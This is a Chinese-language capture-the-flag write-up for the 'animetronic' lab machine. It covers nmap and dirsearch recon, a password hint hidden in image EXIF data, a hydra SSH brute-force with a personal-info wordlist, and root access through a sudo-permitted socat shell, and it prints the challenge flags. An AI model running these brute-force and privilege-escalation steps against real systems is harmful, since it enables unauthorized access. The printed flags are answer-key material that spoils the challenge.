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arp-scan

arp-scan 检测局域网中活动的主机

192.168.9.203    靶机IP地址

port

通过nmap扫描，获取目标主机的端口信息

┌──(root㉿kali)-[/usr/share/seclists]
└─# nmap -sT -sV -O 192.168.9.20322/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))

url枚举

dirsearch目录扫描，默认的字典，扫不出来

┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.9.203 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r[07:22:28] 301 -  312B  - /img  ->  http://192.168.9.203/img/               
[07:22:33] 301 -  312B  - /css  ->  http://192.168.9.203/css/               
[07:22:36] 301 -  311B  - /js  ->  http://192.168.9.203/js/                 
[07:38:24] 301 -  319B  - /staffpages  ->  http://192.168.9.203/staffpages/new_employees
[07:41:56] 403 -  278B  - /server-status                                     
[############        ] 60% 134151/220545       119/s       job:1/1  errors:82   
[5]+  已停止               dirsearch -u http://192.168.9.203 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Get a picture,必定有鬼

wget http://192.168.9.203/staffpages/new_employees.jpg

exiftool

┌──(root㉿kali)-[~]
└─# exiftool new_employees.jpeg 
ExifTool Version Number         : 12.49
File Name                       : new_employees.jpeg
Directory                       : .
File Size                       : 160 kB
File Modification Date/Time     : 2023:11:27 12:11:43-05:00
File Access Date/Time           : 2024:05:10 05:52:41-04:00
File Inode Change Date/Time     : 2024:05:10 05:53:33-04:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Comment                         : page for you michael : ya/HnXNzyZDGg8ed4oC+yZ9vybnigL7Jr8SxyZTJpcmQx53Xnwo=
Image Width                     : 703
Image Height                    : 1136
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 703x1136
Megapixels                      : 0.799

套中套

┌──(root㉿kali)-[~]
└─# echo 'ya/HnXNzyZDGg8ed4oC+yZ9vybnigL7Jr8SxyZTJpcmQx53Xnwo=' | base64 -d
ɯǝssɐƃǝ‾ɟoɹ‾ɯıɔɥɐǝן

CTF打多了，一眼就看出是倒着的字母 message_for_michael

访问 /staffpages/message_for_michael

Hi MichaelSorry for this complicated way of sending messages between us.
This is because I assigned a powerful hacker to try to hack
our server.By the way, try changing your password because it is easy
to discover, as it is a mixture of your personal information
contained in this file personal_info.txt

访问/staffpages/personal_info.txt

name: Michael
age: 27
birth date: 19/10/1996
number of children: 3 " Ahmed - Yasser - Adam "
Hobbies: swimming

password

通过个人信息生成密码字典

leahcim
michael
19961019
19101996
michael1996
leahcim1996
...

hydra爆破ssh

┌──(root㉿kali)-[~]
└─# hydra -l michael -P password.txt ssh://192.168.9.203[22][ssh] host: 192.168.9.203   login: michael   password: leahcim1996

sudo 提权

在/home目录下发现用户

michael@animetronic:/home$ cd henry/
michael@animetronic:/home/henry$ ls
Note.txt  user.txt
michael@animetronic:/home/henry$ cat user.txt 
0833990328464efff1de6cd93067cfb7
michael@animetronic:/home/henry$ cat Note.txt 
if you need my account to do anything on the server,
you will find my password in file namedaGVucnlwYXNzd29yZC50eHQK
michael@animetronic:/home/henry$ echo 'aGVucnlwYXNzd29yZC50eHQK' | base64 -d
henrypassword.txt
michael@animetronic:/home/henry$ find / -name henrypassword.txt 2>/dev/null
/home/henry/.new_folder/dir289/dir26/dir10/henrypassword.txt
michael@animetronic:/home/henry$ cat /home/henry/.new_folder/dir289/dir26/dir10/henrypassword.txt
IHateWilliam

是henry的密码

michael@animetronic:/home/henry$ su henry
Password: 
henry@animetronic:~$ sudo -l
Matching Defaults entries for henry on animetronic:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_ptyUser henry may run the following commands on animetronic:(root) NOPASSWD: /usr/bin/socat
henry@animetronic:~$ sudo socat stdin exec:/bin/bash
whoami
root
cd /root
ls
root.txt
cat root.txt
153a1b940365f46ebed28d74f142530f280a2c0a